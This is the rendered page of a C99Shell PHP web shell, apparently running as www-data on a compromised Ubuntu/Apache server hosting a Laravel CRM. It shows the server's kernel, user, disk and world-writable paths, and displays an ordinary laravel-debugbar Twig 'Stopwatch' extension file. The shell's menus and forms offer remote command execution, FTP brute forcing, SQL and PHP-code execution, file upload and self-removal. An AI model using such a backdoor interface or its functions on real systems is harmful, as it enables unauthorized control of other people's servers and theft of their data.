!C99Shell v. 2.5 [PHP 8 Update] [24.05.2025]!

Software: Apache/2.4.41 (Ubuntu). PHP/8.0.30 

uname -a: Linux apirnd 5.4.0-204-generic #224-Ubuntu SMP Thu Dec 5 13:38:28 UTC 2024 x86_64 

uid=33(www-data) gid=33(www-data) groups=33(www-data) 

Safe-mode: OFF (not secure)

/var/www/html/laravel-crm/vendor/barryvdh/laravel-debugbar/src/Twig/Extension/   drwxrwxrwx
Free 12.94 GB of 57.97 GB (22.33%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Self remove    Logout    


Viewing file:     Stopwatch.php (1.62 KB)      -rw-rw-rw-
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
<?php

namespace Barryvdh\Debugbar\Twig\Extension;

use 
DebugBar\Bridge\Twig\MeasureTwigExtension;
use 
DebugBar\Bridge\Twig\MeasureTwigTokenParser;
use 
Illuminate\Foundation\Application;

/**
 * Access debugbar time measures in your Twig templates.
 * Based on Symfony\Bridge\Twig\Extension\StopwatchExtension
 */
class Stopwatch extends MeasureTwigExtension
{
    
/**
     * @var \Barryvdh\Debugbar\LaravelDebugbar
     */
    
protected $debugbar;

    
/**
     * Create a new time measure extension.
     *
     * @param \Illuminate\Foundation\Application $app
     */
    
public function __construct(Application $app)
    {
        if (
$app->bound('debugbar')) {
            
$this->debugbar $app['debugbar'];
        }

        
parent::__construct(null'stopwatch');
    }


    public function 
getDebugbar()
    {
        return 
$this->debugbar;
    }

    public function 
getTokenParsers()
    {
        return [
            
/*
             * {% measure foo %}
             * Some stuff which will be recorded on the timeline
             * {% endmeasure %}
             */
            
new MeasureTwigTokenParser(!is_null($this->debugbar), $this->tagName$this->getName()),
        ];
    }

    public function 
startMeasure(...$arg)
    {
        if (!
$this->debugbar || !$this->debugbar->hasCollector('time')) {
            return;
        }

        
$this->debugbar->getCollector('time')->startMeasure(...$arg);
    }

    public function 
stopMeasure(...$arg)
    {
        if (!
$this->debugbar || !$this->debugbar->hasCollector('time')) {
            return;
        }

        
$this->debugbar->getCollector('time')->stopMeasure(...$arg);
    }
}

:: Command execute ::

Enter:
 
Select:
 

:: Search ::
  - regexp 

:: Upload ::
 
[ ok ]

:: Make Dir ::
 
[ ok ]
:: Make File ::
 
[ ok ]

:: Go Dir ::
 
:: Go File ::
 

--[ c99shell v. 2.5 [PHP 8 Update] [24.05.2025] | Generation time: 0.0058 ]--